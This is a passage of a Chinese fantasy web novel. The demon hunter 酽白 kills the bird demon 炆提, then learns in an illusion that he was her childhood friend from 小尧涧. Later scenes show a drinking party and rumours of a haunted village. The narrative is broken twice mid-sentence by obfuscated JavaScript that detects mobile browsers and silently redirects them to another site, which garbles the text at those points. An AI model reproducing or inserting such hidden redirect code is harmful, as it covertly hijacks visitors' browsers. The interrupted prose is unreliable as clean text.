见酽白打定主意,庭芜绿自知劝不住,也只能握着野青上前吸引炆提注意,酽白在外侧徘徊,寻找机会将符纸贴上身,无奈死鸟一眼看穿酽白意图,丝毫不给她机会。 正一筹莫展时,酽白以为早已离开的砾妖直愣愣冲进阵法。 柳殷照挽弓放箭,一支白色流光箭直抵炆提后背,他转身抵挡的瞬间给了酽白机会,捉妖师迅速上前将符纸附上其身。 柳殷照之前并未离开,这几日一直藏在附近观察他们几人的动静,今天见到她们有所行动,想来应是要击杀鹃鸟,悄悄赶来竟正好帮上忙。 他本也没想过能伤到鹃鸟,那一箭只是分散他注意罢了,放出一箭后他就远远的躲开,反正自有厉害的捉妖师上前。 酽白施法起势,再现之前的符印,这招果然有效,炆提难料捉妖师的招式,吃了不少苦头。 庭芜绿瞅准时机,将法力倾注在野青之中,提着散发幽幽绿光的利剑奋身向前,人身与剑影重合快如鬼魅,难见其影。 炆提奋力抵挡二人的攻击,生生挨到契间符失效,他正欲再施巧计化作本体鹃鸟逃开,庭芜绿出现了。 没给鹃鸟逃脱的机会,手中野青折成两柄短剑,刺中他两侧肩胛骨,酽白迅速上前抬脚飞踢,炆提被踢倒在地,短剑将他牢牢钉在地上,现不出原形了。 二人上前查看,炆提神情变幻不止,看向酽白嘶哑低语:“捉妖师,我要死了,你不会知道我是谁的。” 酽白眼下怒气上头,一巴掌挥向炆提左脸,“我看你真是很想死啊,来回念叨好几次了,死妖怪你到底是谁?” 炆提好似很乐于吊酽白胃口,这般说辞扰得她心里不上不下,偏偏酽白也确实对他有莫名的熟悉感。 刚想再问,哪知鹃鸟临死之际还不甘心,竟爆出了个大招,他将所有妖力凝聚再爆开,企图以自毁的方式拉上酽白二人。 危机当前,酽白抓住庭芜绿手臂向后退,远处躲着的柳殷照瞧着势头不好,上前凝出坚固石障,这才得以抵挡冲击。 但地上的炆提早已没了人形,身体慢慢消散在天地中。 酽白只觉不行,她不能让鹃鸟就这样散去,回头看向庭芜绿,“帮我,我要留住他。” 她想用寄鸣珠将鹃鸟的灵识留住,然后问出二人之间有什么过往,为何他屡屡谈及相识。 要留下死物的灵识本就违反常理,没人能做到,即便短暂留下也需要一个载体为灵识提供支撑,保其不散。 庭芜绿不知道酽白是为了什么,但还是施法相助。 此法效果甚微,最终,炆提的灵识还是消散了,酽白什么也没留下,她 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一路上沉默无言,回到家中后,也都各自找地方休息去了。即便如此,常鹊羽还是为几人备好夜食,可以不吃,但饿了的时候一定得有。 只是这一夜,谁也没睡好。 慢慢的捱到了第二日,尔尔醒来又哭闹着要爹娘,惹得庭芜绿也跟着偷偷抹泪。 她关于爹娘的记忆早已模糊,小时候照顾她的妇人说,她原是商户家的小姐,家中不幸遭了匪祸,她娘临死前拿大笔银票托过路妇人带她逃走,本是要将她交给一户族亲,结果族亲搬走数年不知去向。 后来没办法只能暂居在妇人家,她病逝后,庭芜绿独自长到六岁还不知自己的名姓,遇见镜陆师叔时才有了这个名字。 如今看见尔尔如此境况,难免想起自己,更是感伤在怀。 瞧尔尔实在闹得厉害,庭芜绿想着带她回家看看,刚好常鹊羽要去告知村民妖怪已除,他们就一起离开了。 “小芜,前面那个院子就是齐家,你先带着尔尔过去吧,我去村里一趟。” 齐家小院里,尽管主人已离开多日,但那些枯萎的花圃,垮掉的瓜架,落有腐叶的小池,无不彰示着主人对生活的热爱。 尔尔拉着庭芜绿慢慢走,一点点回想与家人的快乐过往,偶尔啜泣着跟她说几句往昔趣事。庭芜绿就在一旁安静的听,默默陪着尔尔。 可院里只有几间房,总会走完,之后尔尔又靠在她怀里哭,“小芜姐姐,没了爹娘,我以后怎么办?” 庭芜绿给她擦着泪,“尔尔,跟姐姐走,我带你去衡進宗吧。” 等常鹊羽过来时,尔尔不怎么哭了,小芜决定带尔尔回宗门,做自己的师妹,过几日就启程回去,便决定这几日陪着尔尔住在齐宅。 另一边,酽白觉得小柳昏睡得奇怪,昨日没见他受伤,可怎么还是不醒。酽白探过他的脉,没发现他有什么毛病。 眼下是继续让他昏睡,还是找大夫来看看,酽白疑惑不知啊,转念一想常人怎么能看妖怪的病,还是让他躺着吧,应是死不了的。 她在门槛处落座,又琢磨起炆提来,从自己有记忆时开始思忆,把二十一年的人生经历都顺了一遍,还是没想起来见过炆提。 脑子都快裂开了,酽白决定放弃吧,管他见没见的,左右妖怪犯下恶行,被她逮住了那定是留不得,这件事还是到此结束的好。 好似下定决心不想之后,一切问题都迎刃解决了,昨夜未曾好眠,酽白此刻生出了困意,思绪不知停在什么地方,慢慢的没了意识。 酽白安静的补觉,今日天气不佳,半上午山间才有了懒太阳,缓慢升起悬在半空,仍旧带着火辣之感,炙烤得人难耐。 后面的山林里开始发出细微声响,是山灵之力的重现,鹃鸟留下的伤害被它一点点抹掉,它在这个夏天修复好自己,期望来年的春用更好的栖息之所养育人和灵物。 此后这斑驳破碎之地藏起惨痛过往,慢慢的重新写满新日生机。 9. 小尧涧的妖 常家里屋,柳殷照幽幽转醒,不,好像不是小柳。 他的眼神有些熟悉,起身来到酽白面前,看着亭亭玉立的少女,脸上的诧异加深,那个孩子长大了。 数次碰面酽白好像并未想起他来,炆提苦笑,也是,那时候她还小。 他是炆提身体里的另一个灵识,却也只是一抹灵识,不能脱离本体,炆提知道他的存在,还总是耗费妖力去压制住他。 炆提身死那刻,他本不应独活,但这抹残识最后被炆提打进砾妖体内,同为妖物,他可以借砾妖之体短暂存活。 是了,炆提一直都知道他想做什么。 他在酽白身旁坐下,等做完这最后一件事,他就要从这世上真正的消失了。 酽白睡了很久,觉得自己应该醒来了,却突兀的掉进了梦里。眼前的地方很熟悉,是小尧涧的后山。 酽白自十九岁离开小尧涧后再没回去过,如今又在梦里见到,亲切之感难以言说,反倒不急着离开梦境了。 瞧着眼前的景象,像是刚到小尧涧的时候。 正巧眼前跑过一个孩童,是小时候的自己,她在哭。 酽白跟着上前,见小小的自己跑到大树后面,蹲在那儿小小一团,抹着泪好生可怜。 “小孩儿,又被欺负哭了。不会还是鹿妖吧?”停在树干上的鸟竟然开口说话,小酽白并不惊奇,哼唧唧的抬头向鸟儿控诉着,“小鹿坏,不跟他玩。” 树枝上的小鹃鸟神采奕奕,身上覆着蓝灰二色纤羽,小脑袋一歪一歪的,眼睛滴溜溜转动,说话间两爪不停扣弄着树皮。 会说话的鸟看小酽白哭得厉害,停留片晌后往她来的方向飞走。 再回来时明显多了兴奋,翅膀急促扇动,发出“喀——咕——”的叫声,不远处传来鹿的哀鸣,其间还混杂着对鸟的叫骂。 鸟儿绕着小酽白飞来飞去,也是这时候,入梦的酽白看清了那鸟,和炆提的本体丝毫不差! 捉妖师对恶妖的应激反应骤现,也不顾是在梦中,伸手就要去抓它。 酽白当然没成功,她才碰到炆提,就有一只寒凉的手制止了自己。侧头看,酽白真觉得惊了天,手的主人居然也是炆提。 她脑子僵住,现实中死了一个炆提,梦里就来了两个捉弄她的,这妖的报复心未免太强了些。 腹诽的同时,抓住她手的炆提对她轻摇头,酽白好似被迷惑住就此停手。 梦境里其他事物感知不到酽白的存在,被她无形触碰到的鸟儿仿若无知无觉,越过她手停在小酽白的肩头。 小酽白唤它道,“鸟儿,你真厉害啊,居然打赢了坏鹿诶,以后我都只跟你玩了。” 鸟很傲娇,扬了扬头,又和小酽白闹着笑呵呵走开了。 拉住她手的炆提也在此刻化作鸟身,两相重合,二鸟同一。 直到此刻酽白才恍然明白,为什么她看见炆提会有熟悉感,炆提又为何总是胡乱说跟她相识的话语。 她小时候的确遇见过一只漂亮的鹃鸟,鸟儿很好总是陪她玩耍,帮她教训爱捉弄人的小鹿妖,唯一不好的就是经常带各种虫子给她,说是舍不得吃的美味,非要看着她吃。 小酽白常被吓得泣涕涟涟,有时候都躲着他走。 可后来没两年,鸟就不见了,她那时忘性大,又有别的妖灵陪她玩,问过几次鹃鸟踪迹后也逐渐不在意它了。 往后十几年里,酽白都没想起过它,谁料再相见竟是正反两立。 前面的小酽白走远了,她身边不见小鸟身影,炆提又恢复人形站在酽白旁边。 “你……你是那只鸟?”酽白带着怀疑开口,又恶狠狠警告,“若骗我,我自会再杀你一回。” 炆提温柔开口,“小酽白,长大了就不喜欢鸟儿了么?” “胡说,你这恶妖休要冒充,从哪里探得我少时密辛?” “你不记得我的名字了,对么?你小时候乖乖巧巧的,也不怕我们妖灵,见着我们这些精怪开口说话,还给你逗得咯咯直笑。” 这确实是自己幼时,她实在没法不信了,死在她手下的妖居然来自小尧涧。 “你不爱识字,从来叫不对我们的名字,光凭外形来取别称,后山里树儿、花儿一大堆,还一直鸟儿鸟儿的叫我。酽白,现在记得了么,我叫炆提。” 他说着往事笑展开眉眼,眼前少女仿佛仍是从前同他玩闹的小孩儿,但他的样子落在酽白眼里早就不复当年意气。 “炆提,你怎么变成这样了?”酽白看着他开口,语气中带着淡淡伤怀。 反倒是炆提的悲戚之感还淡些,他没答话,拉着酽白到白玉浮水台边坐下。 时隔三年之久她又回到这里,迟疑的开口,“梦里也能见到白玉浮水台吗?” 山林的低洼处积水成湖,湖面弥漫着稀薄水雾,风吹不散。其中方正的白玉小石台在水中浮现,铺就一条小路。 近岸的湖面散落几座石亭,高悬水面之上,湖中心处水雾渐浓,隐匿背后光景。 在浓浓水雾之后还有一座石亭,那里是尧涧道长的葬身处。 师父死后,酽白按他嘱托不设墓不立碑,只将他的佩剑横置石亭内,若要祭拜,在那石亭处即可。 酽白的视线往湖中心望去,想要穿过雾气瞧一眼石亭内,却终究是徒劳。 “酽白,这不是梦,是我用妖力造出的幻境,你的意识身处幻境中,可以触碰这里的一切。” 炆提顺着酽白的视线看去,只以为有什么不对之处,“这是我离开那年的样子,太久没回去,不能幻化如今景象了。” 酽白道原是如此,索性也没再说师父的事,注意力再度转至炆提身上。 初识炆提之际酽白太小,没留下些深刻记忆,如今对他也只有少许模糊印象。 昨日鸟妖作恶死于自己手中,今日相见却成故友,酽白生不出浓烈的再遇感慨,只好在一旁保持寂然之态。 炆提用最后的妖力造出幻境,待从这虚无世界离开,他就要消散了,但他还有个心愿。 “酽白,同我一起去看看吧。”随着他再次施法,幻境的画面流转变化,如同一轴画卷摊开,故事在二人眼前慢慢浮现。 画面之初,鹃鸟本是小小灵物,自化形开智便在小尧涧,山中难记时日,恍恍间也不知消磨了多少年。 直到山外捉妖师家来了个小孩,天天在山里乱跑,慢慢的,山中妖灵也跟人类小孩相熟起来。 她很乖,时常在山里玩得不亦乐乎,总是待到严道长来寻她才会离去。 那个小孩子总说些没头没尾的话,说她想要长大,长大以后回家,还要去好多的地方。 可能听得太多,炆提也生出了不一样的念头,他开始思考是不是也该去别处看看。 想象是最能给人希望的东西,炆提最终说服了自己。于是,与平常无异的一天,炆提离开了小尧涧。 开先几年的确到过很多地方,可是,很快又觉得没意思,外面是一个巨大的陌生世界,寂寥天地间好像只有他一人,孤独作祟,他开始想回家了。 炆提思虑良久,最终还是决定回家。一路走到了乌岭,那是离小尧涧最近的一个县城,不出半日就能到达深山。 然而事与愿违,他在半路碰到一只豹妖,本不欲停留,却耐不住豹妖遭遇险境,看他实在可怜,炆提帮了他一次。 豹妖名叫谢豹,道行尚浅,这才落入人类圈套,炆提瞧他伤重,又无旁人相顾,就在乌岭照看了他一段时日。 长久相处下来,谢豹一直跟在他身边,嚷着要报救命之恩,交谈间常讲些奇闻趣事,二人的关系也随之亲近,还效仿人类结为兄弟。 炆提再度摇摆不定,回家的想法一日淡过一日,慢慢被他抛在脑后。他肯定想不到,这是他余生离小尧涧最近的一次。 两只妖相伴去过很多地方,谢豹的确报了恩,好几次以命相护,日子就这样平平无奇的过了好几年。 画面逐渐变暗,酽白有些看不清了,光亮再次照入幻境中,酽白发现炆提身边没了谢豹踪影。 “我们因为意外分开了半年,再相见时,谢豹落在了捉妖师手里,因他无意中伤了人,捉妖师要抓他回师门受责罚。”炆提看出酽白的疑虑,以简便之语道出过往。 画面再次变化,炆提出现在一个陌生的地方。 谢豹被抓后,炆提偷偷潜进关押之地,果然如他所想,谢豹说他是被冤枉的,有人能帮他作证,只要找到那人便能免于罪责。 炆提瞧见谢豹浑身的伤,本是想替他去找人,却又实在不了解事情经过,识不得证人,届时恐会耽误功夫。 “我为灵物性格怪异,以至于数年也只得他一个朋友,我不愿撇下他不管,所以应了他的请求,假扮他留在暗无天日的牢狱内。” 话音刚落,酽白察觉他的气息变弱,以为是他支撑幻境耗费太多的妖力,正想开口替他分担些,又见进入了下一场景。 谢豹一走四日,离受罚日还剩九天,时间上无论如何都是够的,且谢豹在他身上打下保护法印,护他免受折磨。 日月交替七回,谢豹还是没回来,炆提慢慢有些害怕,他怕谢豹一去不回,留他独自面对这宗门数人。 忐忑间熬到最后一日,谢豹仍未归来。 捉妖师发现了炆提并非谢豹,本不欲牵连他,却不想师门中人说炆提助恶妖行乱,居然让门主下令杀死他。 那捉妖师还算个好人,不顾自身与门内弟子争辩,坏就坏在这场打斗,炆提被旁人误伤而死。 顷刻间,他那时的不甘与怨恨像是不曾消散一般,在此刻重新找上酽白,所有痛楚都有了宣泄之处,一个劲儿的涌向酽白,冲击她。 幻境里有些不对劲,黑风肆掠,旁物被吞噬其中,隐有坍塌之势。 酽白忍着怨气侵袭的痛楚,伸手拉住炆提手腕,“炆提……” 熟悉的声音叫醒他,周围景象复原,刚才的肆意凌虐只针对酽白,炆提眼神清明,扶着酽白站好。 他没再操控幻境继续变化,开口向着酽白说出后面的事。 “我死后不甘心被误杀,浓重怨气妖化滋生出恶妖炆提,可我的灵识却没有消失,仍存在于他的体内。” 一副身体并不能容纳两个灵识,恶妖炆提刚现世还不能完全操控强大妖力,这才给了他喘息的时日,恶妖操控身体逃走后修炼邪术提升妖力,然后重回门派杀死了一众捉妖师。 妖化后的炆提也并未忘记谢豹,他找到那个所谓的证人,得知谢豹确实被冤枉,但却并未去找过他。恶妖花了大力气找寻谢豹,最终皆无所获。 其实真正的炆提早就无所谓了,谢豹出现与否,是不是有苦衷,已然无法改变结局,今日此种后果炆提认了。 “那……然后呢?” “我看着身体里的恶妖越来越强大,仗着妖力强盛四处作恶。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546907|186744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 炆提与滋生的恶妖不同,他虽有痛恨之事,但仍有良善之心,这些无辜之人亦如他当初在宗门的处境,何其无辜可怜。 炆提实在看不下去,就在体内作祟,这也引得恶妖不满,好几次恶妖都差点除掉他。 恶妖妖力大涨时,炆提也会相应变强,二人相克相生,谁也杀不了谁,只能憋屈的共用这副身体。 但终究是恶妖更厉害些,他多数时间都将炆提压制在体内,丝毫不给他操控身体的机会,炆提只能在恶妖偶尔虚弱时挣脱控制,以求清醒片。 后来,恶妖炆提无所事事,整日里游荡人间作恶不断,体内的良善灵识只能硬生生看着,却想不出办法制止他。 直到在青鱼山时,炆提看见了酽白,她与小时的模样无差,炆提一眼就认出了她。 “小酽白,看见你的时候,我拼了命的想脱离控制,但我实在太弱了。” “你被他困了那么久就没想过其他办法?”酽白打断炆提。 “当然想过啊,其实离开小尧涧时,严道长给了我一张黄符,他说若有难事用符传信。我传信后没得到任何回复。只能劝说自己静候时机,直到你出现我才重燃希望。” “师父三年前去世了。” 原是如此,炆提的信是严道长死后才传去的,能收到才是奇了。 见到酽白的时候,她并未认出炆提,但她是炆提唯一遏制恶妖的办法了。 恶妖承接了炆提的记忆,所以他也识得酽白,她听见的那些没头脑的话或是怪异行为,多是恶妖刻意捉弄她。 “我想与你相认,拼尽全力反抗恶妖,结果被他更狠的束缚住。后来,我的灵识甚至不能清醒过来,我找到了希望又得不到希望。” 酽白一路追着恶妖,数次疑惑他为何要泄露行踪,原来那些都是炆提做的。 在她之前,有四位捉妖师注意到恶妖,只不过他善于隐藏,妖力也不弱,寻常的捉妖师难能擒住他,这才让他逍遥至今。 恶妖每次吸纳妖力后需要调理,炆提趁那时占据身体,给酽白留下些踪迹。 “我不想看着他变强大,所以诱你来杀死他。小酽白,你阻止了很多的劫难。” 酽白他们设法困住恶妖时,炆提的灵识就悄悄醒了,后来又附在化出的假妖身上,可假妖即便有灵识仍不能开口说话,炆提只能作罢。 恶妖消散之际,炆提本想在那时夺过身体现身,未料他竟企图自爆拉所有人同死,好在酽白他们避开了。 “那你为什么没跟他一起消失,反而……以这种形态存在?” “我与他同生,也许是对我还有一丝不忍,亦或者单纯想看我残存于世。那恶妖将我的灵识打入了砾妖体内,正是这样我才得以存活数日,也连累砾妖昏迷日久。” 柳殷照多日不见醒居然是这缘故,酽白心下明了,还好不是什么麻烦的病症,否则还不知如何救他。 往日之事到此真相昭然,得见始末。 炆提说尽过往,又止不住悔思,“我有时候也会想,早知道就在小尧涧浑噩度日算了,外面哪有小酽白说得那么好。偏偏结局已然写好,终也只剩惘然。” 炆提满脸晦暗,掩不住的疲惫,他马上就要再次死去了。 命数的尽头,炆提也只想回到小尧涧,“酽白,小尧涧如今是什么样了。” 这下换了酽白静默,小尧涧如今什么样了呢? “我也很久没回去了。” 炆提并未追问答案,他转头看着酽白,小孩儿长大了,容貌没变,但心性全然不似小时候,再也不是无甚忧虑了。 炆提的灵力越来越弱,酽白本想用自己的灵力续上,以维持眼前小尧涧之景,却被他阻止。 “不必耗费灵力,我知今日必死,已无憾了。酽白,若再回小尧涧,可否将我这片翎羽带回,全了我最后的心愿。” 炆提的身形逐渐看不清轮廓,周遭幻境也慢慢扭曲糊成一团。 酽白开口不知说什么,最终点头示意,紧紧握住手心的羽毛。 今日之前她没想过,自己追着的恶妖会是童年旧友,留下的可疑之迹也只是为了引自己来杀他。眼下他又要再经死亡,饶是起先对他并无感念,酽白也在此刻生出了不舍。 幻境消散后,酽白睁眼醒来,双目中的景象变成了常鹊羽家,身旁靠坐的小柳缓缓睁眼。 炆提借小柳身体行事,瞧他现在的反应,应是知道了。 “捉妖师姑娘,你很难过吗?我知道恶妖是你的朋友,但我亲眼所见,你绝没有偏私,也别太难过。” 酽白斜了他一眼,懒得跟他细说,任由他胡乱理解,只为这蠢笨妖物往后的妖途堪忧啊。 “捉妖师姑娘,你怎么不说话了?你肯定不想谈及这伤心事,我不说了,不说了。” 她快要忍不住抽出双鸣剑时,常鹊羽总算回来了,这才阻止了一场冤杀。 “她们二人呢?还没回来?”酽白只见他一人就多问了句。 “小芜说陪尔尔在齐家住几天,过后带尔尔回她的宗门。小酽啊,那是个啥地方,好不好啊?” 酽白略思索,“衡進宗是盛誉天下的大门派,庭芜绿带尔尔回去也不错。” 尔尔没有别的去处,又是个好苗子,若在宗门好好修习术法,等过个十几年,说不定就是衡進宗的下一个庭芜绿了。 常鹊羽虽不懂,但听酽白这样说也为尔尔感到欢欣。 10. 深夜酒 熬过几个炎炎烈阳,终于有进入夏末的征兆,除却早晚渐凉外,其余时后并无太大差别。 在庭芜绿的陪伴下,尔尔的低沉情绪慢慢转变,她决定跟着小芜姐姐一起去衡進宗。 “别揉了,等会儿更加不舒服。” 这几天哭得太多,小姑娘的眼睛有些红肿不舒服,见她背过身偷偷揉眼睛,庭芜绿想起自己小时候也爱背着人吃糖,不免有些好笑。 天色渐黑,巨大的挑战正向他们逼近。来到灶台前,一大一小双双干瞪眼,真是一个折磨人的时刻。 前几日伤心吃不下东西,即便饭菜难吃也还会死勉强咽下,但现在么,“小芜姐姐,去常叔叔那里吃吧。” 庭芜绿点头附和,她也正有此意,她惯来讨厌下厨,忍受不了身上沾满油烟气。 这厢,酽白躺在摇椅上发呆,进来生活质量提升,少女面色红润,更是靓丽貌美。常鹊羽在家待不住,早早外出了。 屋内,柳殷照还没醒来,炆提昨日从他体内消散,不过清醒片刻又晕睡过去,不知道这次又要睡几日才能恢复精力。 “小酽姐姐,你怎么还在睡觉?”酽白刚阖双目,就听见尔尔的声音。 小姑娘的状态比前几日好了太多,旁边站着眉眼带笑的庭芜绿,还不等酽白答复,尔尔就兀自跑进屋里喝水去了。 “你怎么不带尔尔多住几日,等回了衡進宗轻易可出不来了。”酽白在外游历多年,自然也听说过衡進宗对弟子管教严格,未至十六岁的弟子无令不得出宗门,十六之后方可出门游历或归家探亲。 “酽白,我们衡進宗早就变了,现在的规矩远不及我小时候严格。放心吧,尔尔在宗内会很好的,衡進宗的人很好相处,我也会看顾好她。” 酽白不再说话,毕竟除此外想不出更好更便利的法子,看尔尔小丫头也挺愿意跟庭芜绿走的。 两人将将落座片刻,常鹊羽就回来了,手中提着一篓子鱼。听见尔尔说饿,他等不及就要往灶间钻,急着做一顿佳肴。 柳殷照就是在这时候醒来的,杀死炆提那日,他察觉到有东西进入了身体内,还没来得及做出反应就晕过去了。 等他发现时,身体里已经有了两个意识,且另一个还是炆提,那只想杀他的恶妖,开始他也惧怕,但随后发现炆提好像不那么坏了。 直觉告诉他炆提是为捉妖师来的,他乞求柳殷照将身体借他片刻,不等小柳应下,就强势夺走身体控制权,留小柳在一旁愤愤生气,炆提分明跟先前一样坏。 但与他所想不同,炆提并非是要行恶,他与酽白的话语一字不差落在耳中。 炆提从身体内消散后,他更觉浑身疲累,没来得及多说又昏睡了去。 再次唤醒他的,是屋外几人的笑语,自枰溪镇与酽白相识,糟心事接连而至,这样足眠后醒来的日子恍若隔世。 柳殷照起身往外边去,迎面撞上个小姑娘。 “啊——是小偷,你怎么还在常叔叔家。”小姑娘瞪着眼睛直视柳殷照,伸展双手拦住他,酽白几人闻声看来,重重目光注视下倒真显得柳殷照像个被抓包的盗贼。 他慌乱摆手,苦笑道:“是误会,都是误会,我没有偷东西,当时情急不得以才拿走寄鸣珠。”又急忙看向酽白:“捉妖师姑娘,我已经把珠子还你了,你帮我解释一下吧。” 酽白瞟了他一眼,“什么捉妖师姑娘,我叫酽白。” 又对着尔尔温声道,“尔尔,过来吧,他没偷东西。” 尔尔转身回去坐下,常鹊羽招呼几人将饭食摆好,侧头看见柳殷照有些扭捏,上前拉住他来一起吃饭,尴尬局面总算结束。 “小兄弟昏睡好几天了,今日要多吃点养好身体。我看你同酽白认识,难道也是捉妖师?”常鹊羽还是话多,扒拉两口饭就开始说个不停。 柳殷照再度哽住,嘴里的饭都忘了咽下,他是妖啊,是被捉妖师抓的妖,这叫他怎么在凡人面前说出口。 还没等他犹豫思考出个结果,酽白就直白的帮他答道,“他是妖,一个脑子不太灵光的石头怪。” 常鹊羽嘴角抽了抽,脸上闪过细微的不自在,活了二十几年,一下子就见了两只妖,前一个还是吃人不吐骨头的恶妖,他心里多少有点难接受,脸上的表情压了又压才变得正常。 柳殷照也顺着酽白的话说下去,“我叫柳殷照,是妖不假,但天地为证我绝没干过坏事,我是一只好妖。” 说完后很诚恳的看着常鹊羽,“常大哥,其实我的妖龄已经一百零六岁了,但依着你们人的年纪约莫是二十。我觉得身处人间,还是应当按照你们的规矩来,所以应该由我称你一声大哥。” 说着,石妖还举起了桌上的酒去敬常鹊羽。 常鹊羽真是想不到,看起来面容俊美,浑身少年风姿的人居然是妖。但他并非是对所有妖都深恶痛绝的人,这妖没干坏事还帮了他们的忙,还是可以相处的。 就这样,常鹊羽相信了他是好妖,举起自己手里的酒坛子跟他碰杯饮罢。 “你小子上道,你叫我一声大哥,那小柳啊,以后也不分你我,咱俩好好相处。” 酽白不理解为什么两人这么快就熟识了,看了他们一眼又继续吃鱼去,常鹊羽虽然看起来不太靠谱,但这厨艺实在没法说,近日来她是胃口大涨啊。 酽白正挑着鱼刺,却见庭芜绿倒满酒,她手里的那杯兀自碰上酽白桌前的酒杯,也不等酽白反应,径直饮下,酽白觉得她好像还跟小时候一样,是个率真洒脱的姑娘。 “怎么,酽白道长不喝吗?前几日还叫我小芜呢,今天就嫌我的酒,哎呀呀,道长真是不给面子。”庭芜绿打趣道。 酽白看着她一语不发,不错,跟小时候一模一样,嘴皮子功夫炉火纯青。 酽白饮完,庭芜绿又给众人倒了酒,“大家一起喝一杯吧,这也算咱们的庆功饭,过两日我就带尔尔先告辞了,趁早把她送回宗门,也好安下心来。” “对了,往后大家若有难事儿就来衡進宗找我,必定全力相助。”话毕,几人碰杯饮尽美酒。 美酒有些年头了,陈年的浓厚醇香飘出,在空气中溢开,久不消散。 酽白已经练就奇好酒量,看着眼前醉倒下的几人,她撇嘴摇摇头,伸手提过酒壶,打算自己一人独享。 正喝得酣,余光看见右手边的小柳抬起醉懵的脑袋,端着空酒杯就向酽白敬酒。酽白正找不到乐趣,瞧他这样也来了兴致,倒要看看这小妖想干嘛。 “捉妖师,哦不,酽白道长。我……我敬你,你救了雪箐我还没谢你呢。她就我一个朋友,我来替她敬你一杯。” 小石妖双眼迷离,但仍旧努力的想聚焦视线看清酽白,咕哝低语时顺势将左手搭在酽白小臂上,缓慢轻拍着她。 酽白挑眉看着砬妖不知天高地厚的动作,好哇这小妖怪,都长胆子敢扒拉捉妖师了,酽白手掌发力正想将他劈开。 小柳似乎察觉到酽白的动作,本是要起身,没料竟被自己绊倒,从椅子上滑下,靠坐在桌腿边,手却没从酽白小臂上松开,“酽白道长,你别收我,我真的是好妖,很有用的好妖。” 酽白停了动作,刚把手抽出来又听小妖开口:“我可是罕见的砾妖,先前还保护了你们,以后也可以保护你们的。” 保护?也是,这妖还算有点用处,那种危急时刻反应也快,说他脑子不灵光倒是冤枉他了。 “我知道炆提的事让你难受了,要不你跟我说话吧,我可以安慰你的。道长……你可别抓我了。” 酽白听见这些蠢话气笑了,刚刚那掌就应该劈死他。 临近午夜,四周彻底安静下来,云层时现时隐,一钩弦月微微露出。 壶里的酒早就喝完了,身旁的小柳也没再轻声低语,酽白将尔尔抱回房间,又出来扶起小芜回去歇下。 两个男子被留在露天院里,夜里有露气,酽白好心的给常鹊羽披了件外衣,但全然不顾小柳冷热。 自庭芜绿带着尔尔离开后,没了爱说话的两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546908|186744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,常鹊羽的小院子更寂静了些,他喜欢热闹的地方,所以时常外出,等到酽白他们离开后,小院又只剩他一个人。 “欸,你俩接下来打算去哪儿,要不多待两日呗,常大哥我啊好酒好菜招待你们。” 一起待了这么久,酽白知道常鹊羽除了嘴碎了点,人一点也不坏,但她还有她的事要做,又怎么能耽搁在这里。 “多谢常大哥,我为捉妖师,自当以捉妖为首任,不日我就离开了,哪里有妖我就去哪儿。” 柳殷照没有搭话,因为他也很苦恼自己接下来该干嘛去。 他不想再回枰溪镇,但也没有别的落脚处,若贸然游荡于世间,靠自己那微弱妖力,恐怕刚出圻乡就被抓走了,他们砾妖可是很珍贵的。 毅然放弃了独自离开的想法,那么,剩下的两人中就只能把主意打到酽白身上,而且雪箐还在她那儿,他还得守着雪箐呢。 柳殷照心知酽白对自己的态度,实在是算不上好,肯定不会答应自己同行的请求,到底用什么办法才能留在她身边呢? 就在他苦思之际,酽白的行程确定下来了,她在村中偶然听到了妖怪的消息。 自常鹊羽告诉村里人山中恶妖被杀死后,部分年轻人陆续归家,有两个去到崖罗的人回来后竟说遇见了鬼。 等酽白找到他们时,正巧听见他们又在谈论。 “你们不知道,那地方真有鬼,附近的人早就传开了,村子之前就闹鬼,然后慢慢的没人了。官府本想从县志中抹掉村子,把它并到其他地方,还没来得及,就发现村庄离奇消失了,怕引起恐慌,才说是暴雨塌方被埋了。” 那个人正绘声绘色的讲着,说到兴头上还伸手挥舞比划着。 “跟我同行的几人胆子大,非要去看看那鬼地方,我没办法只好一起去。结果,到了崖罗村附近的时候,你们猜我看到了什么?” 再度停下,村民间浮动着细碎话语,正如他所料压低声音讨论着内容。 “是一个好大的村子,你们敢信吗?几年前就消失的村子居然重新出现了。等我们反应过来已经进去村里了,那些房子好好的还有人住哩,根本不像是空了好几年。现在想来消失了那么久的村子哪还会有活人,肯定都是鬼啊,当时我们都吓傻住了,根本不知道要往哪里走。” 众人听到兴起处,急急问然后呢?然后呢? “然后出现了个女人,满脸的伤疤褶皱,丑得叫人眼睛痛。她问我们是来干嘛的,要留宿还是要出去,这一听当然说要走了,不然留在那儿跟他们一样变成鬼啊。好在最后到底是出来了,我定下神来一看,就发现啊,村子旁边好大一片坟地,哎哟数不清的坟。” “然后鬼又出现了,大大小小的白衣鬼,又丑又恶凶得不得了,直冲着我们飘来。我们转身就跑,谁也顾不上谁,不知道跑到哪里,跑了多久,停下来一看时,我身边的四个人只剩两个了,怪他们命不好,被鬼抓走了。” 此事果然吓到了一众村民,大家都面白心惊的窃谈着。 “你们说这怪不怪,哪有这样的事,所以我说嘛,那村子里真真的全是鬼,真是亏得我命大,还能回咱圻乡哟。” 酽白听完,只觉得夸张成分居多,他们当时已然认定是鬼村,思维被限制住,不论发生什么都会联想到鬼怪上,幻想出来的又能是什么好东西。 反正她也没别的事,就去这个鬼村看看好了,去瞧瞧到底是人想出来的鬼,还是真的有鬼怪作祟。 